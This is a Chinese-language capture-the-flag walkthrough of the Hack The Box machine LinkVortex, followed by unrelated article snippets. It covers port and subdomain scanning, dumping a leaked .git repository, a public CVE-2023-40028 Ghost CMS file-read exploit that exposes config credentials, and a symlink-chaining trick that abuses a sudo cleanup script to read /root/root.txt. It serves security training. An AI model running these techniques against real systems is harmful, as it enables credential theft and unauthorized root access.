HTB:LinkVortex[WriteUP]

news2025/2/2 22:14:23

目录

连接至HTB服务器并启动靶机

信息收集

使用rustscan对靶机TCP端口进行开放扫描

使用nmap对靶机TCP开放端口进行脚本、服务扫描

使用nmap对靶机TCP开放端口进行漏洞、系统扫描

使用nmap对靶机常用UDP端口进行开放扫描

使用gobuster对靶机进行路径FUZZ

使用ffuf堆靶机进行子域名FUZZ

边界突破

访问靶机/robots.txt文件

使用wappalyzer查看该页面技术栈

检索该CMS的CVE漏洞

使用gobuster对靶机dev子域名进行路径FUZZ

使用githack讲泄露文件转储至本地

检索该文件内容

尝试构造账户登录WebAPP

在Github中随便找一个PoC

执行该脚本尝试读取靶机内部文件

使用ssh通过上述凭证登录靶机

权限提升

查看可sudo执行的文件

查看/opt/ghost/clean_symlink.sh文件内容


连接至HTB服务器并启动靶机

分配IP:10.10.16.22

靶机IP:10.10.11.47

靶机Domain:linkvortex.htb


信息收集

使用rustscan对靶机TCP端口进行开放扫描

rustscan -a linkvortex.htb -r 1-65535 --ulimit 5000 | tee res

使用nmap对靶机TCP开放端口进行脚本、服务扫描

nmap -p22,80 -sCV -Pn linkvortex.htb

使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -p22,80 --script=vuln -O -Pn linkvortex.htb

使用nmap对靶机常用UDP端口进行开放扫描

nmap -sU --top-ports 20 -Pn linkvortex.htb

使用gobuster对靶机进行路径FUZZ

gobuster dir -u http://linkvortex.htb -w ../dictionary/Entire-Dir.txt -t 100 -x txt,php,asp,aspx,jsp --exclude-length 0

使用ffuf堆靶机进行子域名FUZZ

ffuf -u 'http://linkvortex.htb' -H 'Host: FUZZ.linkvortex.htb' -w ../dictionary/subdomains-top20000.txt  -t 50 -fw 14


边界突破

访问靶机/robots.txt文件

  • 可见/ghost路径不允许爬取,尝试访问该路径

使用wappalyzer查看该页面技术栈

  • 由展示可见,该页面使用WebAPP为:Ghost CMS 5.58

检索该CMS的CVE漏洞

  • 原介绍

Ghost is an open source content management system. Versions prior to 5.59.1 are subject to a vulnerability which allows authenticated users to upload files that are symlinks. This can be exploited to perform an arbitrary file read of any file on the host operating system. Site administrators can check for exploitation of this issue by looking for unknown symlinks within Ghost's `content/` folder. Version 5.59.1 contains a fix for this issue. All users are advised to upgrade. There are no known workarounds for this vulnerability.

  • 机翻后

Ghost是一个开源的内容管理系统。5.59.1之前的版本存在一个漏洞,允许经过身份验证的用户上传符号链接文件。攻击者可利用此漏洞读取主机操作系统上的任意文件。网站管理员可以通过检查 Ghost 的 `content/` 文件夹中是否存在未知的符号链接来检测是否遭受此漏洞的攻击。5.59.1版本已修复此问题。建议所有用户进行升级。目前尚无已知的临时解决方案来应对此漏洞。

  • 因此,CVE-2023-40028漏洞适用于获取WebAPP凭证后读取靶机内部文件

使用gobuster对靶机dev子域名进行路径FUZZ

  • 由输出可见,该子域名存在git泄露
使用githack讲泄露文件转储至本地
python githack.py http://dev.linkvortex.htb/.git/
  • /dev.linkvortex.htb路径下找到Dockerfile.ghost文件
cat Dockerfile.ghost
  • 由输出可见,config配置文件被拷贝到/var/lib/ghost/config.production.json

  • /dev.linkvortex.htb/ghost/core/test/regression/api/admin路径下找到authentication.test.js文件
检索该文件内容
grep -C1 -i password authentication.test.js

  • 可见测试账号疑似默认密码:OctopiFociPilfer45

尝试构造账户登录WebAPP

账户:admin@linkvortex.htb

密码:OctopiFociPilfer45

  • 成功登入后台,验证了该凭证可用

在Github中随便找一个PoC

git clone https://github.com/0xyassine/CVE-2023-40028.git

  • 该脚本需要对GHOST_URL参数进行修改

执行该脚本尝试读取靶机内部文件
./CVE-2023-40028.sh -u 'admin@linkvortex.htb' -p 'OctopiFociPilfer45'

  • 尝试读取/var/lib/ghost/config.production.json文件
file> /var/lib/ghost/config.production.json
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}
  • 由该配置文件可得一凭证 

账户:bob@linkvortex.htb

密码:fibber-talented-worth

使用ssh通过上述凭证登录靶机

ssh bob@linkvortex.htb

  • /home/bob目录下找到user.txt文件

bob@linkvortex:~$ ls
1.png  111.txt  user.txt  whatever
bob@linkvortex:~$ pwd
/home/bob
bob@linkvortex:~$ cat user.txt
e1e7c05b37455f93a36670923855ab32


权限提升

查看可sudo执行的文件

sudo -l

查看/opt/ghost/clean_symlink.sh文件内容
cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi
  • 用大模型直接一键加上注释

  1. 该脚本将检查环境变量CHECK_CONTENT是否为空,如为空为其赋值false
  2. 该脚本仅能接收.png结尾的文件
  3. 该脚本将检查该参数是否为软链接
  4. 该脚本将检查软链接内容是否存在`etc`、`root`关键字如有将把该软链接文件隔离
  5. 该脚本将检查CHECK_CONTENT的值是否为true,如为真则输出文件内容

因此我的绕过思路是:

1.构造一个.png软链接连接至一个不带`etc`、`root`关键字的软链接

2.再将该软链接再次连接至/root/root.txt文件

3.将环境变量CHECK_CONTENT改为true,绕过第一次判断并在最后使脚本输出文件内容

  • 首先创建一个软链接连接至/root/root.txt文件
ln -s /root/root.txt final_read
  • 再创建一个以.png结尾的软链接连接至上一个软链接
ln -s final_read start_point.png
  • 这里注意所有软链接以及文件必须用绝对路径

bob@linkvortex:~$ ln -s /root/root.txt /home/bob/final_read
bob@linkvortex:~$ ln -s /home/bob/final_read /home/bob/start_point.png
bob@linkvortex:~$ ls
final_read  start_point.png  user.txt
bob@linkvortex:~$ sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh start_point.png
Link found [ start_point.png ] , moving it to quarantine
Content:
62bce49de7c405a3273a8f67bdca50d6

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2290968.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

3D图形学与可视化大屏:什么是材质属性,有什么作用?

一、颜色属性 漫反射颜色 漫反射颜色决定了物体表面对入射光进行漫反射后的颜色。当光线照射到物体表面时,一部分光被均匀地向各个方向散射,形成漫反射。漫反射颜色的选择会直接影响物体在光照下的外观。例如,一个红色的漫反射颜色会使物体在…

什么是门控循环单元?

一、概念 门控循环单元(Gated Recurrent Unit,GRU)是一种改进的循环神经网络(RNN),由Cho等人在2014年提出。GRU是LSTM的简化版本,通过减少门的数量和简化结构,保留了LSTM的长时间依赖…

基于微信小程序的酒店管理系统设计与实现(源码+数据库+文档)

酒店管理小程序目录 目录 基于微信小程序的酒店管理系统设计与实现 一、前言 二、系统功能设计 三、系统实现 1、管理员模块的实现 (1) 用户信息管理 (2) 酒店管理员管理 (3) 房间信息管理 2、小程序序会员模块的实现 (1)系统首页 &#xff…

Java-数据结构-优先级队列(堆)

一、优先级队列 ① 什么是优先级队列? 在此之前,我们已经学习过了"队列"的相关知识,我们知道"队列"是一种"先进先出"的数据结构,我们还学习过"栈",是"后进先出"的…

爬虫基础(四)线程 和 进程 及相关知识点

目录 一、线程和进程 (1)进程 (2)线程 (3)区别 二、串行、并发、并行 (1)串行 (2)并行 (3)并发 三、爬虫中的线程和进程 &am…

C语言初阶力扣刷题——349. 两个数组的交集【难度:简单】

1. 题目描述 力扣在线OJ题目 给定两个数组,编写一个函数来计算它们的交集。 示例: 输入:nums1 [1,2,2,1], nums2 [2,2] 输出:[2] 输入:nums1 [4,9,5], nums2 [9,4,9,8,4] 输出:[9,4] 2. 思路 直接暴力…

Sqoop导入MySQL中含有回车换行符的数据

个人博客地址:Sqoop导入MySQL中含有回车换行符的数据 MySQL中的数据如下图: 检查HDFS上的目标文件内容可以看出,回车换行符位置的数据被截断了,导致数据列错位。 Sqoop提供了配置参数,在导入时丢弃掉数据的分隔符&…

LightM-UNet(2024 CVPR)

论文标题LightM-UNet: Mamba Assists in Lightweight UNet for Medical Image Segmentation论文作者Weibin Liao, Yinghao Zhu, Xinyuan Wang, Chengwei Pan, Yasha Wang and Liantao Ma发表日期2024年01月01日GB引用> Weibin Liao, Yinghao Zhu, Xinyuan Wang, et al. Ligh…

stm32硬件实现与w25qxx通信

使用的型号为stm32f103c8t6与w25q64。 STM32CubeMX配置与引脚衔接 根据stm32f103c8t6引脚手册,采用B12-B15四个引脚与W25Q64连接,实现SPI通信。 W25Q64SCK(CLK)PB13MOSI(DI)PB15MISO(DO)PB14CS&#xff08…

FPGA 使用 CLOCK_DEDICATED_ROUTE 约束

使用 CLOCK_DEDICATED_ROUTE 约束 CLOCK_DEDICATED_ROUTE 约束通常在从一个时钟区域中的时钟缓存驱动到另一个时钟区域中的 MMCM 或 PLL 时使 用。默认情况下, CLOCK_DEDICATED_ROUTE 约束设置为 TRUE ,并且缓存 /MMCM 或 PLL 对必须布局在相同…

一个开源 GenBI AI 本地代理(确保本地数据安全),使数据驱动型团队能够与其数据进行互动,生成文本到 SQL、图表、电子表格、报告和 BI

一、GenBI AI 代理介绍(文末提供下载) github地址:https://github.com/Canner/WrenAI 本文信息图片均来源于github作者主页 在 Wren AI,我们的使命是通过生成式商业智能 (GenBI) 使组织能够无缝访问数据&…

C动态库的生成与在Python和QT中的调用方法

目录 一、动态库生成 1)C语言生成动态库 2)c类生成动态库 二、动态库调用 1)Python调用DLL 2)QT调用DLL 三、存在的一些问题 1)python调用封装了类的DLL可能调用不成功 2)DLL格式不匹配的问题 四、…

C++ Primer 自定义数据结构

欢迎阅读我的 【CPrimer】专栏 专栏简介:本专栏主要面向C初学者,解释C的一些基本概念和基础语言特性,涉及C标准库的用法,面向对象特性,泛型特性高级用法。通过使用标准库中定义的抽象设施,使你更加适应高级…

解析 Oracle 中的 ALL_SYNONYMS 和 ALL_VIEWS 视图:查找同义词与视图的基础操作

目录 前言1. ALL_SYNONYMS 视图2. ALL_VIEWS 视图3. 扩展 前言 🤟 找工作,来万码优才:👉 #小程序://万码优才/r6rqmzDaXpYkJZF 1. ALL_SYNONYMS 视图 在 Oracle 数据库中,同义词(Synonym)是对数…

PyTorch框架——基于深度学习YOLOv8神经网络学生课堂行为检测识别系统

基于YOLOv8深度学习的学生课堂行为检测识别系统,其能识别三种学生课堂行为:names: [举手, 读书, 写字] 具体图片见如下: 第一步:YOLOv8介绍 YOLOv8 是 ultralytics 公司在 2023 年 1月 10 号开源的 YOLOv5 的下一个重大更新版本…

7.攻防世界fileclude

题目描述 进入题目页面如下 看到题目提示应该为文件包含漏洞 解释上述代码 // 输出提示信息&#xff1a;错误的方式&#xff01; WRONG WAY! <?php // 包含名为 "flag.php" 的文件&#xff0c;通常这个文件里可能包含重要的敏感信息&#xff0c;如 flag inclu…

【自然语言处理(NLP)】深度学习架构:Transformer 原理及代码实现

文章目录 介绍Transformer核心组件架构图编码器&#xff08;Encoder&#xff09;解码器&#xff08;Decoder&#xff09; 优点应用代码实现导包基于位置的前馈网络残差连接后进行层规范化编码器 Block编码器解码器 Block解码器训练预测 个人主页&#xff1a;道友老李 欢迎加入社…

【HarmonyOS之旅】基于ArkTS开发(三) -> 兼容JS的类Web开发(二)

目录 1 -> HML语法 1.1 -> 页面结构 1.2 -> 数据绑定 1.3 -> 普通事件绑定 1.4 -> 冒泡事件绑定5 1.5 -> 捕获事件绑定5 1.6 -> 列表渲染 1.7 -> 条件渲染 1.8 -> 逻辑控制块 1.9 -> 模板引用 2 -> CSS语法 2.1 -> 尺寸单位 …

当WebGIS遇到智慧文旅-以长沙市不绕路旅游攻略为例

目录 前言 一、旅游数据组织 1、旅游景点信息 2、路线时间推荐 二、WebGIS可视化实现 1、态势标绘实现 2、相关位置展示 三、成果展示 1、第一天旅游路线 2、第二天旅游路线 3、第三天旅游路线 4、交通、订票、住宿指南 四、总结 前言 随着信息技术的飞速发展&…

使用Pygame制作“吃豆人”游戏

本篇博客展示如何使用 Python Pygame 编写一个简易版的“吃豆人&#xff08;Pac-Man&#xff09;” 风格游戏。这里我们暂且命名为 Py-Man。玩家需要控制主角在一个网格地图里移动、吃掉散布在各处的豆子&#xff0c;并躲避在地图中巡逻的幽灵。此示例可帮助你理解网格地图、角…